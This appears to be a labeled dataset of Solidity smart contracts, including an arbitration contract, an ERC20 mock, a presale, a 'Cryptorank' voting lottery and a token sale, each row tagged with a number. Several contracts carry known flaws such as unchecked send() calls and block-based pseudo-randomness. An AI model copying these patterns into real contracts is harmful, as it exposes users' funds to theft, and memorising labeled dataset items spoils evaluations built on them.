}
function calculateContribution(uint256 _available, uint256 _requiredAmount)
internal
pure
returns (uint256 taken, uint256 remainder)
{
if (_requiredAmount > _available) return (_available, 0);
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function withdrawFeesAndRewards(
address payable _beneficiary,
uint256 _taskID,
uint256 _round
) public {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
require(task.status == Status.Resolved, "The task should be resolved.");
uint256 reward;
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
reward =
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
reward = rewardTranslator + rewardChallenger;
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else {
reward = round.paidFees[task.ruling] > 0
? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling]
: 0;
round.contributions[_beneficiary][task.ruling] = 0;
}
_beneficiary.send(reward);
}
function batchRoundWithdraw(
address payable _beneficiary,
uint256 _taskID,
uint256 _cursor,
uint256 _count
) public {
Task storage task = tasks[_taskID];
for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++)
withdrawFeesAndRewards(_beneficiary, _taskID, i);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
Party resultRuling = Party(_ruling);
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
Round storage round = task.rounds[task.rounds.length - 1];
require(msg.sender == address(arbitrator), "Must be called by the arbitrator.");
require(task.status == Status.DisputeCreated, "The dispute has already been resolved.");
if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator;
else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger;
emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling));
executeRuling(_disputeID, uint256(resultRuling));
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal {
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
task.status = Status.Resolved;
task.ruling = _ruling;
uint256 amount;
if (_ruling == uint256(Party.None)) {
task.requester.send(task.requesterDeposit);
amount = task.sumDeposit / 2;
task.parties[uint256(Party.Translator)].send(amount);
task.parties[uint256(Party.Challenger)].send(amount);
} else if (_ruling == uint256(Party.Translator)) {
amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
} else {
task.requester.send(task.requesterDeposit);
task.parties[uint256(Party.Challenger)].send(task.sumDeposit);
}
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(taskID, "dispute-settled", block.timestamp);
}
function submitEvidence(uint256 _taskID, string calldata _evidence) external {
Task storage task = tasks[_taskID];
require(task.status != Status.Resolved, "The task must not already be resolved.");
emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) {
Task storage task = tasks[_taskID];
if (task.status != Status.Resolved) return total;
for (uint256 i = 0; i < task.rounds.length; i++) {
Round storage round = task.rounds[i];
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
total +=
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
total += rewardTranslator + rewardChallenger;
} else {
total += round.paidFees[uint256(task.ruling)] > 0
? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) /
round.paidFees[uint256(task.ruling)]
: 0;
}
}
return total;
}
function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
}
}
function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR);
}
}
function getTaskPrice(uint256 _taskID) public view returns (uint256 price) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
price = 0;
} else {
price =
task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
}
}
function getTaskCount() public view returns (uint256) {
return tasks.length;
}
function getNumberOfRounds(uint256 _taskID) public view returns (uint256) {
Task storage task = tasks[_taskID];
return task.rounds.length;
}
function getContributions(
uint256 _taskID,
uint256 _round,
address _contributor
) public view returns (uint256[3] memory contributions) {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
contributions = round.contributions[_contributor];
}
function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) {
Task storage task = tasks[_taskID];
parties = task.parties;
}
function getRoundInfo(uint256 _taskID, uint256 _round)
public
view
returns (
uint256[3] memory paidFees,
bool[3] memory hasPaid,
uint256 feeRewards
)
{
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
return (round.paidFees, round.hasPaid, round.feeRewards);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Mock is ERC20, ERC20Burnable {
constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") {
_mint(initialAccount, initialBalance);
}
} | 1 | 3,619 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.4-beta";
uint public constant PRESALE_START = 3128000;
uint public constant PRESALE_END = 3129250;
uint public constant WITHDRAWAL_END = 3129490;
address public constant OWNER = 0x45d5426471D12b21C3326dD0cF96f6656F7d14b1;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (!OWNER.send(this.balance)) throw;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 435 |
pragma solidity^0.4.24;
contract Cryptorank{
using SafeMath for *;
using NameFilter for string;
struct Round
{
bool active;
address lastvoter;
uint256 jackpot;
uint256 start;
uint256 end;
uint256 tickets;
uint256 pot;
}
struct Coin
{
string symbol;
string name;
uint256 votes;
}
address[] public players;
Coin[] public coinSorting;
mapping(uint256 => Round) public rounds;
address private owner;
address public manager;
uint256 public roundid = 0;
uint256 constant private initvotetime = 1 hours;
uint256 constant private voteinterval = 90 seconds;
uint256 constant private maxvotetime = 24 hours;
uint256 public addcoinfee = 1 ether;
uint256 private SortingCoinstime;
uint256 public raiseethamount = 0;
uint8 public addcoinslimit = 5;
uint256 public tonextround = 0;
uint256 private fund = 0;
uint256 public nextRoundCoolingTime = 10 minutes;
uint256 public ticketPrice = 0.01 ether;
mapping(string=>bool) have;
mapping(string=>uint) cvotes;
mapping(uint256 => uint256) public awardedReward;
mapping(uint256 => uint256) public ticketHolderReward;
mapping(address => uint256) public selfharvest;
mapping(address => uint256) public selfvoteamount;
mapping(address => uint256) public selfvotes;
mapping(address => uint8) public selfOdds;
mapping(address => uint256) public selfpotprofit;
mapping(address => uint256) public selfcommission;
mapping(address => string) public playername;
mapping(address => address) public playerreferees;
mapping(bytes32 => uint256) public verifyName;
mapping(address => bool) public pState;
mapping(address => uint256) public raisemax;
modifier isactivity(uint256 rid){
require(rounds[rid].active == true);
_;
}
modifier onlyowner()
{
require(msg.sender == owner);
_;
}
modifier isRepeat(string _name)
{
require(have[_name]==false);
_;
}
modifier isHave (string _name)
{
require(have[_name]==true);
_;
}
event Sortime(address indexed adr,uint256 indexed time);
event AddCoin(uint _id,string _name,string _symbol);
constructor() public {
owner = msg.sender;
startRound();
}
function addcoin(string _name,string _symbol)
public
payable
isRepeat(_name)
{
require(addcoinslimit > 1);
if(msg.sender != owner){
require(msg.value >= addcoinfee);
}
uint id = coinSorting.push(Coin(_symbol,_name, 0)) - 1;
cvotes[_name]=id;
emit AddCoin(id,_name,_symbol);
have[_name]=true;
addcoinslimit --;
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value);
}
function tovote(string _name,uint256 _votes,uint256 reward) private
isHave(_name)
{
coinSorting[cvotes[_name]].votes = coinSorting[cvotes[_name]].votes.add(_votes) ;
for(uint256 i = 0;i < players.length;i++){
address player = players[i];
uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets);
selfharvest[player] = selfharvest[player].add(backreward);
}
}
function SortingCoins() public {
for(uint256 i = 0;i< coinSorting.length;i++){
for(uint256 j = i + 1;j < coinSorting.length;j++){
if(coinSorting[i].votes < coinSorting[j].votes){
cvotes[coinSorting[i].name] = j;
cvotes[coinSorting[j].name] = i;
Coin memory temp = Coin(coinSorting[i].symbol,coinSorting[i].name,coinSorting[i].votes);
coinSorting[i] = Coin(coinSorting[j].symbol,coinSorting[j].name,coinSorting[j].votes);
coinSorting[j] = Coin(temp.symbol,temp.name,temp.votes);
}
}
}
}
function setcoinfee(uint256 _fee) external onlyowner{
addcoinfee = _fee;
addcoinslimit = 5;
}
function getcoinSortinglength() public view returns(uint )
{
return coinSorting.length;
}
function getcvotesid(string _name)public view returns (uint)
{
return cvotes[_name];
}
function getcoinsvotes(string _name) public view returns(uint)
{
return coinSorting[cvotes[_name]].votes;
}
function raisevote()
payable
public
isactivity(roundid){
require(raiseethamount < 100 ether);
require(raisemax[msg.sender].add(msg.value) <= 1 ether);
uint256 raiseeth;
if(raiseethamount.add(msg.value) > 100 ether){
raiseeth = 100 - raiseethamount;
uint256 backraise = raiseethamount.add(msg.value) - 100 ether;
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(backraise);
}else{
raiseeth = msg.value;
}
raiseethamount = raiseethamount.add(raiseeth);
raisemax[msg.sender] = raisemax[msg.sender].add(raiseeth);
uint256 ticketamount = raiseeth.div(0.01 ether);
uint256 reward = msg.value.mul(51).div(100);
for(uint256 i = 0;i < players.length;i++){
address player = players[i];
uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets);
selfharvest[player] = selfharvest[player].add(backreward);
}
allot(ticketamount);
}
function transferOwnership(address newOwner) public {
require(msg.sender == owner);
owner = newOwner;
}
function setManager(address _manager) public onlyowner{
manager = _manager;
}
function startRound() private{
roundid++;
rounds[roundid].active = true;
rounds[roundid].lastvoter = 0x0;
rounds[roundid].jackpot = tonextround;
rounds[roundid].start = now;
rounds[roundid].end = now + initvotetime;
rounds[roundid].tickets = 0;
rounds[roundid].pot = 0;
ticketPrice = 0.01 ether;
}
function calculatVotePrice()
public
view
returns(uint256){
uint256 playersnum = players.length;
if(playersnum <= 30)
return ticketPrice.mul(112).div(100);
if(playersnum>30 && playersnum <= 100)
return ticketPrice.mul(103).div(100);
if(playersnum > 100)
return ticketPrice.mul(101).div(100);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 100) * 100)) < selfOdds[msg.sender])
return(true);
else
return(false);
}
function airdrppReward()
private
returns(string){
if(airdrop() == false){
return "非常遗憾！没有空投！";
}
else{
if(selfvoteamount[msg.sender] <= 1 ether && rounds[roundid].pot >= 0.1 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.1 ether); }
rounds[roundid].pot = rounds[roundid].pot.sub(0.1 ether);
return "恭喜获得空投 0.1 ether";
}
if(1 ether < selfvoteamount[msg.sender] && selfvoteamount[msg.sender] <= 5 ether && rounds[roundid].pot >=0.5 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.5 ether);
rounds[roundid].pot = rounds[roundid].pot.sub(0.5 ether);
return "恭喜获得空投 0.5 ether";
}
if(selfvoteamount[msg.sender] > 5 ether && rounds[roundid].pot >= 1 ether){
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(1 ether);
rounds[roundid].pot = rounds[roundid].pot.sub(1 ether);
return "恭喜获得空投 1 ether";
}
}
function updateTimer(uint256 _votes)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > rounds[roundid].end && rounds[roundid].lastvoter == address(0))
_newTime = (_votes.mul(voteinterval)).add(_now);
else
_newTime = (_votes.mul(voteinterval)).add(rounds[roundid].end);
if (_newTime < (maxvotetime).add(_now))
rounds[roundid].end = _newTime;
else
rounds[roundid].end = maxvotetime.add(_now);
}
function voting (string _name)
payable
public
isactivity(roundid)
returns(string)
{
uint256 currentticketPrice = ticketPrice;
require(msg.value >= currentticketPrice);
string memory ifgetpot = airdrppReward();
require(now > (rounds[roundid].start + nextRoundCoolingTime) &&(now <= rounds[roundid].end ||rounds[roundid].lastvoter == address(0) ));
selfvoteamount[msg.sender] = selfvoteamount[msg.sender].add(msg.value);
uint256 votes = msg.value.div(currentticketPrice);
uint256 reward = msg.value.mul(51).div(100);
uint256 _now = now;
if(_now - SortingCoinstime >2 hours){
SortingCoins();
SortingCoinstime = _now;
emit Sortime(msg.sender,_now);
}
tovote(_name,votes,reward);
allot(votes);
calculateselfOdd();
ticketPrice = calculatVotePrice();
return ifgetpot;
}
function calculateselfOdd() private {
if(selfvoteamount[msg.sender] <= 1 ether)
selfOdds[msg.sender] = 25;
if(1 ether < selfvoteamount[msg.sender] &&selfvoteamount[msg.sender] <= 10 ether)
selfOdds[msg.sender] = 50;
if(selfvoteamount[msg.sender] > 10 ether)
selfOdds[msg.sender] = 75;
}
function allot(uint256 votes) private isactivity(roundid){
if(playerreferees[msg.sender] != address(0)){
selfcommission[playerreferees[msg.sender]] = selfcommission[playerreferees[msg.sender]].add(msg.value.mul(10).div(100));
}else{
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(10).div(100));
}
if(selectplayer() == false){
players.push(msg.sender);
}
fund = fund.add(msg.value.mul(13).div(100));
ticketHolderReward[roundid] = ticketHolderReward[roundid].add(msg.value.mul(51).div(100));
rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value.mul(25).div(100));
rounds[roundid].pot = rounds[roundid].pot.add(msg.value.mul(1).div(100));
rounds[roundid].lastvoter = msg.sender;
rounds[roundid].tickets = rounds[roundid].tickets.add(votes);
selfvotes[msg.sender] = selfvotes[msg.sender].add(votes);
updateTimer(votes);
}
function endround() public isactivity(roundid) {
require(now > rounds[roundid].end && rounds[roundid].lastvoter != address(0));
uint256 reward = rounds[roundid].jackpot;
for(uint i = 0 ;i< players.length;i++){
address player = players[i];
uint256 selfbalance = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender];
uint256 endreward = reward.mul(42).div(100).mul(selfvotes[player]).div(rounds[roundid].tickets);
selfcommission[player] = 0;
selfharvest[player] = 0;
selfpotprofit[player] = 0;
selfvoteamount[player] = 0;
selfvotes[player] = 0;
player.transfer(endreward.add(selfbalance));
}
rounds[roundid].lastvoter.transfer(reward.mul(48).div(100));
tonextround = reward.mul(10).div(100);
uint256 remainingpot = rounds[roundid].pot;
tonextround = tonextround.add(remainingpot);
rounds[roundid].active = false;
delete players;
players.length = 0;
startRound();
}
function registerNameXNAME(string _nameString,address _inviter)
public
payable {
require (msg.value >= 0.01 ether, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
require(verifyName[_name]!=1 ,"sorry that names already taken");
bool state = validation_inviter(_inviter);
require(state,"注册失败");
if(!pState[msg.sender]){
verifyName[_name] = 1;
playername[msg.sender] = _nameString;
playerreferees[msg.sender] = _inviter;
pState[msg.sender] = true;
}
manager.transfer(msg.value);
}
function validation_inviter (address y_inviter) public view returns (bool){
if(y_inviter== 0x0000000000000000000000000000000000000000){
return true;
}
else if(pState[y_inviter]){
return true;
}
else {
return false;
}
}
function withdraw() public{
uint256 reward = selfcommission[msg.sender] + selfharvest[msg.sender] + selfpotprofit[msg.sender];
uint256 subselfharvest = selfharvest[msg.sender];
selfcommission[msg.sender] = 0;
selfharvest[msg.sender] = 0;
selfpotprofit[msg.sender] = 0;
ticketHolderReward[roundid] = ticketHolderReward[roundid].sub(subselfharvest);
awardedReward[roundid] = awardedReward[roundid].add(reward);
msg.sender.transfer(reward);
}
function withdrawbymanager() public{
require(msg.sender == manager);
uint256 fundvalue = fund;
fund = 0;
manager.transfer(fundvalue);
}
function getpotReward() public view returns(uint256){
return selfpotprofit[msg.sender];
}
function getBonus() public view returns(uint256){
return selfvotes[msg.sender] / rounds[roundid].tickets * rounds[roundid].jackpot;
}
function selectplayer() public view returns(bool){
for(uint i = 0;i< players.length ;i++){
if(players[i] == msg.sender)
return true;
}
return false;
}
function getroundendtime() public view returns(uint256){
if(rounds[roundid].end >= now){
return rounds[roundid].end - now;
}
return 0;
}
function getamountvotes() public view returns(uint) {
return rounds[roundid].tickets;
}
function getjackpot() public view returns(uint)
{
return rounds[roundid].jackpot;
}
function () payable public {
selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(msg.value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
} | 0 | 1,674 |
pragma solidity ^0.4.2;
contract blockcdn {
mapping (address => uint256) balances;
mapping (address => uint256) fundValue;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public minFundedValue;
uint256 public maxFundedValue;
bool public isFundedMax;
bool public isFundedMini;
uint256 public closeTime;
uint256 public startTime;
event Transfer(address indexed from, address indexed to, uint256 value);
function blockcdn(
address _owner,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
uint256 _totalSupply,
uint256 _closeTime,
uint256 _startTime,
uint256 _minValue,
uint256 _maxValue
) {
owner = _owner;
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimalUnits;
closeTime = _closeTime;
startTime = _startTime;
totalSupply = _totalSupply;
minFundedValue = _minValue;
maxFundedValue = _maxValue;
isFundedMax = false;
isFundedMini = false;
balances[owner] = _totalSupply;
}
function () payable {
buyBlockCDN();
}
function buyBlockCDN() payable returns (bool success){
if(msg.sender == owner) throw;
if(now > closeTime) throw;
if(now < startTime) throw;
if(isFundedMax) throw;
uint256 token = 0;
if(closeTime - 2 weeks > now) {
token = msg.value;
}else {
uint day = (now - (closeTime - 2 weeks))/(2 days) + 1;
token = msg.value;
while( day > 0) {
token = token * 95 / 100 ;
day -= 1;
}
}
balances[msg.sender] += token;
if(balances[owner] < token)
return false;
balances[owner] -= token;
if(this.balance >= minFundedValue) {
isFundedMini = true;
}
if(this.balance >= maxFundedValue) {
isFundedMax = true;
}
fundValue[msg.sender] += msg.value;
Transfer(owner, msg.sender, token);
return true;
}
function balanceOf( address _owner) constant returns (uint256 value)
{
return balances[_owner];
}
function balanceOfFund(address _owner) constant returns (uint256 value)
{
return fundValue[_owner];
}
function reFund() payable returns (bool success) {
if(now <= closeTime) throw;
if(isFundedMini) throw;
uint256 value = fundValue[msg.sender];
fundValue[msg.sender] = 0;
if(value <= 0) throw;
if(!msg.sender.send(value))
throw;
balances[owner] += balances[msg.sender];
balances[msg.sender] = 0;
Transfer(msg.sender, this, balances[msg.sender]);
return true;
}
function reFundByOther(address _fundaddr) payable returns (bool success) {
if(now <= closeTime) throw;
if(isFundedMini) throw;
uint256 value = fundValue[_fundaddr];
fundValue[_fundaddr] = 0;
if(value <= 0) throw;
if(!_fundaddr.send(value)) throw;
balances[owner] += balances[_fundaddr];
balances[_fundaddr] = 0;
Transfer(msg.sender, this, balances[_fundaddr]);
return true;
}
function transfer(address _to, uint256 _value) payable returns (bool success) {
if(_value <= 0 ) throw;
if (balances[msg.sender] < _value) throw;
if (balances[_to] + _value < balances[_to]) throw;
if(now < closeTime ) {
if(_to == address(this)) {
fundValue[msg.sender] -= _value;
balances[msg.sender] -= _value;
balances[owner] += _value;
if(!msg.sender.send(_value))
return false;
Transfer(msg.sender, _to, _value);
return true;
}
}
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function sendRewardBlockCDN(address rewarder, uint256 value) payable returns (bool success) {
if(msg.sender != owner) throw;
